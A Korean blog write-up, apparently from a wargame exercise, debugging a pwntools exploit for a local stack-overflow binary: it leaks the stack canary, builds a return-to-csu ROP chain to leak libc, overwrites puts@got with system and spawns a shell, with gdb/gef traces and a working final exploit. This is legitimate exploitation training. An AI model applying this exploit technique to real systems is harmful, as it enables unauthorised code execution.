pwntools gdb debugging

#코딩노예#·2022년 7월 16일
0

기타

목록 보기
6/16

문제 코드

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf2: ");
  read(0, buf, 0x200);

  return 0;
}

Exploit Code

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

def rtc_chain(arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func)


p = process("./rtc")
e = ELF("./rtc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level = 'debug'


# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)



# [2] Write Payload
read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]

csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)

payload = b'A'*56 + p64(canary) + b'B'*8


# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain(read_got, 0, 0, puts_got)


# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)


# read(0, puts@got, 0) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 0, read_got)


# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)


slog("payload length", len(payload))

# Exploit
p.sendafter("Buf2: ", payload)                  # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset                         # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"]    # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(b"/bin/sh\x00")
p.send(p64(system))

p.interactive()

익스플로잇 코드를 실행시켜보면

 kali@kali  ~/wargame/rtc  python3 exploit.py
[+] Starting local process './rtc': pid 34424
[*] '/home/kali/wargame/rtc/rtc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0x3d836426a53add00
[+] payload length: 0x128
Traceback (most recent call last):
  File "/home/kali/wargame/rtc/exploit.py", line 66, in <module>
    read = u64(p.recvn(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 265, in recvn
    while self.countdown_active() and len(self.buffer) < numb and self._fillbuffer(self.timeout):
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py", line 154, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 686, in recv_raw
    raise EOFError
EOFError
[*] Process './rtc' stopped with exit code -11 (SIGSEGV) (pid 34424)

SIGSEGV 에러가 발생합니다. 에러를 잡기 위해 지금부터 디버깅을 해보겠습니다.


디버깅 (SIGSEGV)

exploit code에 gdb.attach(p) 추가

p = process("./rtc")
e = ELF("./rtc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level = 'debug'
gdb.attach(p)

exploit code를 실행하면 gdb 창이 뜹니다.

kali@kali  ~/wargame/rtc  python3 exploit.py
[+] Starting local process './rtc': pid 11816
[*] '/home/kali/wargame/rtc/rtc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] running in new terminal: ['/usr/bin/gdb', '-q', './rtc', '11816']
[+] Waiting for debugger: Done
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)

여기서 source [path]/gef.py를 입력하면 gef를 사용할 수 있습니다.

(gdb) source /home/kali/gef/gef.py
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 10.1.90.20210103-git in 0.01ms using Python engine 3.10
gef➤

main 함수를 출력하고

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401166 <+0>:     push   rbp
   0x0000000000401167 <+1>:     mov    rbp,rsp
   0x000000000040116a <+4>:     sub    rsp,0x40
   0x000000000040116e <+8>:     mov    rax,QWORD PTR fs:0x28
   0x0000000000401177 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040117b <+21>:    xor    eax,eax
   0x000000000040117d <+23>:    mov    rax,QWORD PTR [rip+0x2edc]        # 0x404060 <stdin@GLIBC_2.2.5>
   0x0000000000401184 <+30>:    mov    ecx,0x0
   0x0000000000401189 <+35>:    mov    edx,0x2
   0x000000000040118e <+40>:    mov    esi,0x0
   0x0000000000401193 <+45>:    mov    rdi,rax
   0x0000000000401196 <+48>:    call   0x401070 <setvbuf@plt>
   0x000000000040119b <+53>:    mov    rax,QWORD PTR [rip+0x2eae]        # 0x404050 <stdout@GLIBC_2.2.5>
   0x00000000004011a2 <+60>:    mov    ecx,0x0
   0x00000000004011a7 <+65>:    mov    edx,0x2
   0x00000000004011ac <+70>:    mov    esi,0x0
   0x00000000004011b1 <+75>:    mov    rdi,rax
   0x00000000004011b4 <+78>:    call   0x401070 <setvbuf@plt>
   0x00000000004011b9 <+83>:    lea    rax,[rip+0xe44]        # 0x402004
   0x00000000004011c0 <+90>:    mov    rdi,rax
   0x00000000004011c3 <+93>:    call   0x401030 <puts@plt>
   0x00000000004011c8 <+98>:    lea    rax,[rip+0xe45]        # 0x402014
   0x00000000004011cf <+105>:   mov    rdi,rax
   0x00000000004011d2 <+108>:   mov    eax,0x0
   0x00000000004011d7 <+113>:   call   0x401050 <printf@plt>
   0x00000000004011dc <+118>:   lea    rax,[rbp-0x40]                                                                                                      
   0x00000000004011e0 <+122>:   mov    edx,0x100                                                                                                           
   0x00000000004011e5 <+127>:   mov    rsi,rax                                                                                                             
   0x00000000004011e8 <+130>:   mov    edi,0x0                                                                                                             
   0x00000000004011ed <+135>:   call   0x401060 <read@plt>                                                                                                 
   0x00000000004011f2 <+140>:   lea    rax,[rbp-0x40]                                                                                                      
   0x00000000004011f6 <+144>:   mov    rsi,rax                                                                                                             
   0x00000000004011f9 <+147>:   lea    rax,[rip+0xe1a]        # 0x40201a                                                                                   
   0x0000000000401200 <+154>:   mov    rdi,rax                                                                                                             
   0x0000000000401203 <+157>:   mov    eax,0x0                                                                                                             
   0x0000000000401208 <+162>:   call   0x401050 <printf@plt>
   0x000000000040120d <+167>:   lea    rax,[rip+0xe0f]        # 0x402023
   0x0000000000401214 <+174>:   mov    rdi,rax
   0x0000000000401217 <+177>:   call   0x401030 <puts@plt>
   0x000000000040121c <+182>:   lea    rax,[rip+0xe16]        # 0x402039
   0x0000000000401223 <+189>:   mov    rdi,rax
   0x0000000000401226 <+192>:   mov    eax,0x0
   0x000000000040122b <+197>:   call   0x401050 <printf@plt>
   0x0000000000401230 <+202>:   lea    rax,[rbp-0x40]
   0x0000000000401234 <+206>:   mov    edx,0x200
   0x0000000000401239 <+211>:   mov    rsi,rax
   0x000000000040123c <+214>:   mov    edi,0x0
   0x0000000000401241 <+219>:   call   0x401060 <read@plt>
   0x0000000000401246 <+224>:   mov    eax,0x0
   0x000000000040124b <+229>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x000000000040124f <+233>:   sub    rdx,QWORD PTR fs:0x28
   0x0000000000401258 <+242>:   je     0x40125f <main+249>
   0x000000000040125a <+244>:   call   0x401040 <__stack_chk_fail@plt>
   0x000000000040125f <+249>:   leave  
   0x0000000000401260 <+250>:   ret    
End of assembler dump.

입력을 받는 read 함수에 break point를 걸고 continue 해보면

gef➤  b * main+219
Breakpoint 1 at 0x401241
gef➤  c
Continuing.

Breakpoint 1, 0x0000000000401241 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fff4991d070  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbx   : 0x0000000000401270  →  <__libc_csu_init+0> push r15
$rcx   : 0x0               
$rdx   : 0x200             
$rsp   : 0x00007fff4991d070  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp   : 0x00007fff4991d0b0  →  0x0000000000000000
$rsi   : 0x00007fff4991d070  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi   : 0x0               
$rip   : 0x0000000000401241  →  <main+219> call 0x401060 <read@plt>
$r8    : 0x16              
$r9    : 0x00007f1fb97200c0  →  0x0000000000000000
$r10   : 0x0000000000402039  →  0x0100203a32667542 ("Buf2: "?)
$r11   : 0x246             
$r12   : 0x0000000000401080  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff4991d070│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"$rax, $rsp, $rsi
0x00007fff4991d078│+0x0008: 0x4141414141414141
0x00007fff4991d080│+0x0010: 0x4141414141414141
0x00007fff4991d088│+0x0018: 0x4141414141414141
0x00007fff4991d090│+0x0020: 0x4141414141414141
0x00007fff4991d098│+0x0028: 0x4141414141414141
0x00007fff4991d0a0│+0x0030: 0x4141414141414141
0x00007fff4991d0a8│+0x0038: 0x2fc6bd6a650eb341
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401234 <main+206>       mov    edx, 0x200
     0x401239 <main+211>       mov    rsi, rax
     0x40123c <main+214>       mov    edi, 0x0
 →   0x401241 <main+219>       call   0x401060 <read@plt>
   ↳    0x401060 <read@plt+0>     jmp    QWORD PTR [rip+0x2fca]        # 0x404030 <read@got.plt>
        0x401066 <read@plt+6>     push   0x3
        0x40106b <read@plt+11>    jmp    0x401020
        0x401070 <setvbuf@plt+0>  jmp    QWORD PTR [rip+0x2fc2]        # 0x404038 <setvbuf@got.plt>
        0x401076 <setvbuf@plt+6>  push   0x4
        0x40107b <setvbuf@plt+11> jmp    0x401020
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
read@plt (
   $rdi = 0x0000000000000000,
   $rsi = 0x00007fff4991d070 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",
   $rdx = 0x0000000000000200
)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "rtc", stopped 0x401241 in main (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401241 → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

ni를 입력하고 payload 0x128 바이트가 다 들어갔나 확인을 해보면

gef➤  ni
0x0000000000401246 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x128             
$rbx   : 0x0000000000401270  →  <__libc_csu_init+0> push r15
$rcx   : 0x00007f1fb967c55e  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x200             
$rsp   : 0x00007fff4991d070  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rbp   : 0x00007fff4991d0b0  →  0x4242424242424242 ("BBBBBBBB"?)
$rsi   : 0x00007fff4991d070  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi   : 0x0               
$rip   : 0x0000000000401246  →  <main+224> mov eax, 0x0
$r8    : 0x16              
$r9    : 0x00007f1fb97200c0  →  0x0000000000000000
$r10   : 0x0000000000402039  →  0x0100203a32667542 ("Buf2: "?)
$r11   : 0x246             
$r12   : 0x0000000000401080  →  <_start+0> xor ebp, ebp
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff4991d070│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"$rsp, $rsi
0x00007fff4991d078│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d080│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d088│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d090│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAA"
0x00007fff4991d098│+0x0028: "AAAAAAAAAAAAAAAA"
0x00007fff4991d0a0│+0x0030: "AAAAAAAA"
0x00007fff4991d0a8│+0x0038: 0x2fc6bd6a650eb300
  • read 함수는 정상적으로 종료되면 입력 받은 바이트수를 반환하기 때문에, rax 레지스터 값을 보면 몇 바이트가 입력되었나 알 수 있습니다.

  • rax 레지스터 값을 봐보면 0x128로 페이로드 길이와 일치합니다.

  • 페이로드가 잘려서 공격에 실패한건 아닌 거 같습니다.


페이로드가 제대로 들어갔나 확인을 해보면

def rtc_chain(arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func)


payload = b'A'*56 + p64(canary) + b'B'*8

# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain(read_got, 0, 0, puts_got)


# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)


# read(0, puts@got, 0) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 0, read_got)


# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)

gef➤  x/40gx $rsp
0x7fff4991d070: 0x4141414141414141      0x4141414141414141
0x7fff4991d080: 0x4141414141414141      0x4141414141414141
0x7fff4991d090: 0x4141414141414141      0x4141414141414141
0x7fff4991d0a0: 0x4141414141414141      0x2fc6bd6a650eb300
0x7fff4991d0b0: 0x4242424242424242      0x00000000004012c2
0x7fff4991d0c0: 0x0000000000000000      0x0000000000000001
0x7fff4991d0d0: 0x0000000000404030      0x0000000000000000
0x7fff4991d0e0: 0x0000000000000000      0x0000000000404018
0x7fff4991d0f0: 0x0000000000000000      0x0000000000000000
0x7fff4991d100: 0x0000000000000001      0x0000000000000000
0x7fff4991d110: 0x0000000000404050      0x0000000000000008
0x7fff4991d120: 0x0000000000404030      0x0000000000000000
0x7fff4991d130: 0x0000000000000000      0x0000000000000001
0x7fff4991d140: 0x0000000000000000      0x0000000000404018
0x7fff4991d150: 0x0000000000000000      0x0000000000404030
0x7fff4991d160: 0x0000000000000000      0x0000000000000000
0x7fff4991d170: 0x0000000000000001      0x0000000000404050
0x7fff4991d180: 0x0000000000000000      0x0000000000000000
0x7fff4991d190: 0x0000000000404018      0x000000000000001c
0x7fff4991d1a0: 0x0000000000000001      0x00007fff4991f3c0
gef➤  canary
[*] gef.py:L4960 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
[+] The canary of process 11816 is at 0x7fff4991d4d9, value is 0x2fc6bd6a650eb300

제대로 들어갔습니다.


그럼 왜 공격에 실패 했는지 프로그램을 실행시키면서 봐보면

gef➤  ni
0x0000000000401258 in main ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401246 <main+224>       mov    eax, 0x0
     0x40124b <main+229>       mov    rdx, QWORD PTR [rbp-0x8]
     0x40124f <main+233>       sub    rdx, QWORD PTR fs:0x28
 →   0x401258 <main+242>       je     0x40125f <main+249>       TAKEN [Reason: Z]
   ↳    0x40125f <main+249>       leave  
        0x401260 <main+250>       ret    
        0x401261                  nop    WORD PTR cs:[rax+rax*1+0x0]
        0x40126b                  nop    DWORD PTR [rax+rax*1+0x0]
        0x401270 <__libc_csu_init+0> push   r15
        0x401272 <__libc_csu_init+2> lea    r15, [rip+0x2b97]        # 0x403e10

일단 스택 카나리 검사는 통과합니다.


gef➤  ni
0x0000000000401260 in main ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401258 <main+242>       je     0x40125f <main+249>
     0x40125a <main+244>       call   0x401040 <__stack_chk_fail@plt>
     0x40125f <main+249>       leave  
 →   0x401260 <main+250>       ret    
   ↳    0x4012c2 <__libc_csu_init+82> pop    rbx
        0x4012c3 <__libc_csu_init+83> pop    rbp
        0x4012c4 <__libc_csu_init+84> pop    r12
        0x4012c6 <__libc_csu_init+86> pop    r13
        0x4012c8 <__libc_csu_init+88> pop    r14
        0x4012ca <__libc_csu_init+90> pop    r15

__libc_csu_init 코드도 성공적으로 진입합니다.


gef➤  ni
0x00000000004012cc in __libc_csu_init ()


[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007fc9d3d6b55e  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x00007ffd9ed3af90  →  0x0000000000000000
$rbp   : 0x1               
$rsi   : 0x00007ffd9ed3af10  →  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi   : 0x0               
$rip   : 0x00000000004012cc  →  <__libc_csu_init+92> ret 
$r8    : 0x16              
$r9    : 0x00007fc9d3e0f0c0  →  0x0000000000000000
$r10   : 0x0000000000402039  →  0x0100203a32667542 ("Buf2: "?)
$r11   : 0x246             
$r12   : 0x0000000000404030  →  0x00007fc9d3d6b550  →  <read+0> mov eax, DWORD PTR fs:0x18
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0000000000404018  →  0x00007fc9d3cf2e10  →  <puts+0> push r14
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4012c6 <__libc_csu_init+86> pop    r13
     0x4012c8 <__libc_csu_init+88> pop    r14
     0x4012ca <__libc_csu_init+90> pop    r15
 →   0x4012cc <__libc_csu_init+92> ret    
     0x4012cd                  nop    DWORD PTR [rax]
     0x4012d0 <__libc_csu_fini+0> ret    
     0x4012d1                  add    BYTE PTR [rax], al
     0x4012d3                  add    BYTE PTR [rax-0x7d], cl
     0x4012d6 <_fini+2>        in     al, dx

레지스터에 페이로드에서 설계한 값들도 잘 들어갑니다.


gef➤  ni
0x0000000000000000 in ?? ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x0

근데 그 다음에 ret 명령을 실행하자 갑자기 공격이 끊겨 버렸습니다.


페이로드가 이상한거 같아서 다시 봐보니

def rtc_chain(arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func)

함수에서 p64(csu_init2)를 빼먹었습니다.


페이로드를 수정해서 다시 실행해보면

def rtc_chain(arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)

kali@kali  ~/wargame/rtc  python3 exploit.py
[+] Starting local process './rtc': pid 35217
[*] '/home/kali/wargame/rtc/rtc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0x5f283d0b550c8200
[+] payload length: 0x148
[+] read: 0x7f5f753bd550
[+] libc_base: 0x7f5f752cf000
[+] system: 0x7f5f75318860
[*] Switching to interactive mode

[*] Got EOF while reading in interactive
$ 
[*] Process './rtc' stopped with exit code -7 (SIGBUS) (pid 35217)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/process.py", line 746, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe

이번에는 SIGBUS 에러가 발생합니다. 다시 디버깅을 해보면


디버깅 (SIGBUS)

gef➤  ni
0x00000000004012b1 in __libc_csu_init ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007eff9812655e  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x00007ffebb21a528  →  0x00007ffebb21b3c6  →  "CLUTTER_IM_MODULE=fcitx"
$rbp   : 0x1               
$rsi   : 0x0               
$rdi   : 0x0000000000404050  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x00000000004012b1  →  <__libc_csu_init+65> call QWORD PTR [r15+rbx*8]
$r8    : 0x7               
$r9    : 0x00007eff981ca0c0  →  0x0000000000000000
$r10   : 0x0000000000402039  →  0x0100203a32667542 ("Buf2: "?)
$r11   : 0x246             
$r12   : 0x0000000000404050  →  0x0068732f6e69622f ("/bin/sh"?)
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0000000000404018  →  0x00007eff980ade10  →  <puts+0> push r14
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4012a8 <__libc_csu_init+56> mov    rdx, r14
     0x4012ab <__libc_csu_init+59> mov    rsi, r13
     0x4012ae <__libc_csu_init+62> mov    edi, r12d
 →   0x4012b1 <__libc_csu_init+65> call   QWORD PTR [r15+rbx*8]
     0x4012b5 <__libc_csu_init+69> add    rbx, 0x1
     0x4012b9 <__libc_csu_init+73> cmp    rbp, rbx
     0x4012bc <__libc_csu_init+76> jne    0x4012a8 <__libc_csu_init+56>
     0x4012be <__libc_csu_init+78> add    rsp, 0x8
     0x4012c2 <__libc_csu_init+82> pop    rbx
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[r15+rbx*8] (
   $rdi = 0x0000000000404050 → 0x0068732f6e69622f ("/bin/sh"?),
   $rsi = 0x0000000000000000,
   $rdx = 0x0000000000000000
)

puts 함수의 got를 system 함수 주소로 got overwrite 했는데, puts("/bin/sh")를 호출할 때 보니까 그냥 그대로 puts 함수가 호출됩니다. got overwrite가 실패한 거 같습니다.


다시 got overwrite 하는 부분의 페이로드를 봐보면

# read(0, puts@got, 0) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 0, read_got)

실수로 read 함수로 읽어들일 바이트 수를 0으로 설정해버렸네요.


# read(0, puts@got, 8) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 8, read_got)

페이로드를 다시 수정해서 시도해보면


 kali@kali  ~/wargame/rtc  python3 exploit.py
[+] Starting local process './rtc': pid 37587
[*] '/home/kali/wargame/rtc/rtc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
/home/kali/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[+] Canary: 0x52243a15630dde00
[+] payload length: 0x148
[+] read: 0x7f31feeb0550
[+] libc_base: 0x7f31fedc2000
[+] system: 0x7f31fee0b860
[*] Switching to interactive mode

$ whoami
kali

공격에 성공해서 쉘이 떴습니다.


최종 Exploit Code

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

def rtc_chain(arg1, arg2, arg3, func):
        return p64(0) + p64(1) + p64(arg1) + p64(arg2) + p64(arg3) + p64(func) + p64(csu_init2)


p = process("./rtc")
e = ELF("./rtc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

#context.log_level = 'debug'
#gdb.attach(p)


# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)



# [2] Write Payload
read_got = e.got['read']
puts_got = e.got['puts']
bss = e.bss()

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]

csu_init1 = 0x4012c2
csu_init2 = 0x4012a8
dummy = p64(0)

payload = b'A'*56 + p64(canary) + b'B'*8


# puts(read@got)
payload += p64(csu_init1)
payload += rtc_chain(read_got, 0, 0, puts_got)


# read(0, bss, 8) => bss : "/bin/sh"
payload += dummy
payload += rtc_chain(0, bss, 8, read_got)


# read(0, puts@got, 8) => puts@got -> system
payload += dummy
payload += rtc_chain(0, puts_got, 8, read_got)


# puts("/bin/sh") => system("/bin/sh")
payload += dummy
payload += rtc_chain(bss, 0, 0, puts_got)


slog("payload length", len(payload))

# Exploit
p.sendafter("Buf2: ", payload)                  # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recvn(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
lb = read - read_offset                         # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"]    # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(b"/bin/sh\x00")
p.send(p64(system))

p.interactive()

0개의 댓글